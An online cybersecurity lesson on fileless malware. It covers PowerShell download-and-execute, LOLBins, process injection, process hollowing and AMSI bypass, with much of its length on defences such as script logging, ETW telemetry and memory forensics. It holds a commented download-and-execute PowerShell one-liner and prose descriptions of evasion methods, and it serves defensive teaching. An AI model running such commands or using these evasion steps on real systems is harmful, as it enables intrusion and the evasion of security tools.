Fileless Malware and Living-in-Memory Techniques
Analyze PowerShell-based malware, process injection, and in-memory execution that leaves no disk artifacts.
Fileless Malware and Living-in-Memory Techniques is a free Cyber Security Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
What is Fileless Malware?
Fileless malware executes entirely in memory without writing executable files to disk. It leverages legitimate OS tools, interpreter environments (PowerShell, WScript), and in-memory injection to operate while leaving minimal forensic artifacts detectable by traditional AV and file-based scanning.
PowerShell-Based Attacks
PowerShell enables download-and-execute patterns: IEX (Invoke-Expression) downloads and runs scripts directly from the internet without touching disk. Obfuscation techniques (character replacement, base64, string concatenation) bypass signature-based detection of malicious script content.
# Example obfuscation pattern (for awareness)
# IEX (New-Object Net.WebClient).DownloadString(url)
# Often base64-encoded to evade detectionLiving-off-the-Land Binaries (LOLBins)
LOLBins are legitimate Windows binaries that can be weaponized: certutil.exe (download files), mshta.exe (execute HTA scripts), regsvr32.exe (execute remote COM objects), wmic.exe (execute commands), and PowerShell (everything). They are pre-installed, signed, and often whitelisted.
Process Injection Techniques
Classic injection: VirtualAllocEx → WriteProcessMemory → CreateRemoteThread. Process hollowing: launch a suspended legitimate process, unmap its code, and replace with malicious code. DLL injection via SetWindowsHookEx or AppInit_DLLs. All run malicious code inside trusted processes.
Reflective DLL Injection
Reflective DLL injection loads a DLL from memory without using the Windows loader or touching disk. The DLL contains its own mini-loader that resolves imports and relocates itself. Meterpreter uses reflective loading, which is why it leaves no DLL file on disk.
Process Hollowing (RunPE)
Process hollowing creates a legitimate process (svchost.exe) in suspended state, unmaps its original executable from memory, maps a malicious executable into the same address space, then resumes execution. The process appears legitimate in task manager but runs malicious code.
AMSI Bypass Techniques
Microsoft's Antimalware Scan Interface (AMSI) intercepts PowerShell scripts for AV scanning. Attackers bypass AMSI by patching AmsiScanBuffer() in memory to always return a clean result, or by obfuscating scripts below AMSI detection thresholds. AMSI patching is itself detectable by EDR.
Detection: Behavioral Analytics
Fileless malware is detected through behavior, not file presence: PowerShell spawning network connections, unexpected child processes of Office applications, memory regions with executable permissions but no backing file (malfind), and LOLBin command-line arguments containing encoded content.
ETW-Based Detection
Windows Event Tracing (ETW) provides rich telemetry for EDR platforms: Script Block Logging captures decoded PowerShell, Module Logging records DLLs loaded, process creation with full command lines, and network connection events. ETW providers are difficult for malware to disable without triggering alerts.
Memory Forensics for Fileless Detection
Volatility malfind identifies suspicious executable memory regions. Strings in process memory may reveal C2 URLs or embedded scripts. Process hollowing leaves the original process image unmapped — detectable by comparing the process memory map to the original executable on disk.
PowerShell Logging and Constrained Language Mode
Enable PowerShell Script Block Logging (Event ID 4104) and Module Logging to capture all decoded script content. PowerShell Constrained Language Mode restricts dangerous operations. WDAC application whitelisting prevents unapproved LOLBin combinations from executing malicious scripts.
Knowledge Check
What makes fileless malware harder to detect than traditional malware?
Summary
Fileless malware abuses PowerShell, LOLBins, and process injection to execute entirely in memory. Defending against it requires Script Block Logging, behavioral analytics from EDR platforms, AMSI enforcement, application whitelisting, and memory forensics tools like Volatility to identify injected code.
Frequently asked questions
Is the “Fileless Malware and Living-in-Memory Techniques” lesson free?
Yes — the full text of “Fileless Malware and Living-in-Memory Techniques” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.
What will I learn in “Fileless Malware and Living-in-Memory Techniques”?
Analyze PowerShell-based malware, process injection, and in-memory execution that leaves no disk artifacts. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cyber Security Academy?
No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Fileless Malware and Living-in-Memory Techniques” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cyber Security Academy lesson?
Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- APT Lifecycle: Initial Access to Exfiltration
- Fileless Malware and Living-in-Memory Techniques
- C2 Over HTTPS and DNS Tunneling
- Threat Attribution and Campaign Tracking